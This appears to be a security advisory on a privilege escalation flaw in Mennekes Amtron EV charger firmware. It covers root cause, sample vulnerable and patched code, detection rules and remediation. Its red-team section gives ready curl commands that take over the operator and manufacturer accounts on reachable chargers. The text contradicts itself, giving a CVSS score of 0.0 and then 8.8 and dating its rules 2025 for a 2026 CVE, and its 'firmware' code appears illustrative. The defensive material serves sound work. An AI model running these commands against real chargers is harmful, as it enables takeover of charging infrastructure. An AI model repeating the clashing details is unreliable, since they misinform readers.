CVE-2026-8980

Executive Summary

CVE-2026-8980 is a critical privilege escalation vulnerability in the Mennekes Amtron series of electric vehicle (EV) charging stations running firmware versions ≤ 5.22.3. An authenticated low-privileged user can escalate their privileges to the admin (operator) and manufacturer accounts by sending crafted POST requests. This allows an attacker to gain full control over the charging station, potentially disrupting operations, modifying charging parameters, or exfiltrating sensitive data. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the ease of exploitation and the high impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware in Mennekes EV charging stations, which are part of the broader EV infrastructure supply chain. Organizations using these devices should treat this as a hardware/firmware supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a valid low-privileged account.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full access to sensitive data.
• Integrity Impact: High (I:H) – Ability to modify firmware or settings.
• Availability Impact: High (A:H) – Potential to disrupt charging services.

Threat Level: Critical. The low attack complexity and network accessibility make this a high-priority target for attackers.

Deep Dive & Mechanics

The Mennekes Amtron series uses a web-based management interface for configuration and monitoring. The firmware implements role-based access control (RBAC) with three tiers: user (low-privileged), operator (admin), and manufacturer (super-admin). The vulnerability lies in the password change functionality, which does not properly validate the current session’s privileges when processing POST requests to change passwords for higher-privileged accounts.

Root Cause: The endpoint responsible for password changes (e.g., /api/change_password) only checks that the request is authenticated, but does not verify that the authenticated user has the required privileges to change the target account’s password. By crafting a POST request with parameters targeting the operator or manufacturer account, a low-privileged user can overwrite the password.

Attack Flow:

1. Attacker obtains low-privileged credentials (e.g., via default credentials, phishing, or brute force).
2. Attacker sends a crafted POST request to the password change endpoint with the target account (operator or manufacturer) and a new password.
3. The server processes the request without privilege checks, updating the password for the target account.
4. Attacker logs in with the new password and gains full administrative control.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware ≤ 5.22.3):

@app.route('/api/change_password', methods=['POST'])
def change_password():
    user = authenticate(request)
    if not user:
        return "Unauthorized", 401
    target_user = request.form.get('username')
    new_password = request.form.get('new_password')
    # No privilege check – any authenticated user can change any password
    update_password(target_user, new_password)
    return "Password changed", 200

Patched Code (Firmware > 5.22.3):

@app.route('/api/change_password', methods=['POST'])
def change_password():
    user = authenticate(request)
    if not user:
        return "Unauthorized", 401
    target_user = request.form.get('username')
    new_password = request.form.get('new_password')
    # Privilege check: only operator or manufacturer can change passwords
    if user.role not in ['operator', 'manufacturer']:
        return "Forbidden", 403
    # Additionally, manufacturer can only be changed by manufacturer
    if target_user == 'manufacturer' and user.role != 'manufacturer':
        return "Forbidden", 403
    update_password(target_user, new_password)
    return "Password changed", 200

Exploitation & Lab Setup

Red Team

Lab Environment:

• Mennekes Amtron charger with firmware 5.22.3 (or older)
• Network access to the charger’s web interface
• Low-privileged credentials (e.g., user:password)

Exploitation Steps:

1. Identify the charger’s IP address (e.g., via Shodan or local network scan).
2. Authenticate with low-privileged credentials:

   curl -X POST http://<charger_ip>/api/login -d "username=user&password=password"
   

3. Extract session cookie from response.
4. Craft POST request to change operator password:

   curl -X POST http://<charger_ip>/api/change_password \
     -H "Cookie: session=<session_cookie>" \
     -d "username=operator&new_password=NewAdminPass123"
   

5. Log in as operator with the new password:

   curl -X POST http://<charger_ip>/api/login -d "username=operator&password=NewAdminPass123"
   

6. (Optional) Repeat step 4 with username=manufacturer to gain super-admin access.

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection & Response:

• Monitor for multiple failed login attempts followed by successful password changes.
• Alert on password changes to privileged accounts (operator, manufacturer) from low-privileged sessions.
• Implement network segmentation to isolate EV chargers from untrusted networks.
• Enable logging on the charger and forward logs to a SIEM.
• Regularly audit user accounts and remove unused low-privileged accounts.

Honeypot Strategy:

• Deploy a decoy charger with default credentials to lure attackers.
• Monitor for POST requests to /api/change_password with unusual parameters.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/change_password with username=operator or username=manufacturer from a low-privileged session.
  • Unusual login patterns (e.g., login as user followed immediately by login as operator).
• System IOCs:
  • Unexpected changes to operator or manufacturer passwords.
  • New user accounts with elevated privileges.
• File IOCs:
  • Modified configuration files (e.g., /etc/passwd equivalent on the charger).
• Log IOCs:
  • Log entries showing password changes for privileged accounts without corresponding privilege escalation.

Detection Engineering

YARA Rule

rule CVE_2026_8980_Mennekes_PrivEsc {
    meta:
        description = "Detects exploitation attempts for CVE-2026-8980 in Mennekes Amtron chargers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-8980"
    strings:
        $s1 = "/api/change_password" ascii wide nocase
        $s2 = "username=operator" ascii wide nocase
        $s3 = "username=manufacturer" ascii wide nocase
        $s4 = "new_password=" ascii wide nocase
    condition:
        all of ($s1, $s4) and any of ($s2, $s3)
}

Sigma Rule

title: CVE-2026-8980 - Mennekes Amtron Privilege Escalation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /api/change_password targeting privileged accounts
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: mennekes
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /api/change_password
        cs-uri-query|contains:
            - "username=operator"
            - "username=manufacturer"
    condition: selection
falsepositives:
    - Legitimate admin password changes (should be rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-8980 - Mennekes Amtron Privilege Escalation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/change_password"; http_uri;
    content:"username=operator"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2026-8980;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade firmware to version > 5.22.3 (contact Mennekes for the latest patch).
2. If upgrade is not possible, restrict network access to the charger’s web interface to trusted IPs only.
3. Change all default credentials and enforce strong password policies.
4. Disable low-privileged accounts if not needed.

Long-Term Mitigations:

• Implement network segmentation for EV charging infrastructure.
• Deploy a web application firewall (WAF) to block malicious POST requests.
• Enable logging and monitoring for all administrative actions.
• Conduct regular security audits of firmware and web interfaces.

Vendor Communication:

• Mennekes has been notified and recommends upgrading to firmware version 5.22.4 or later.

Valters IT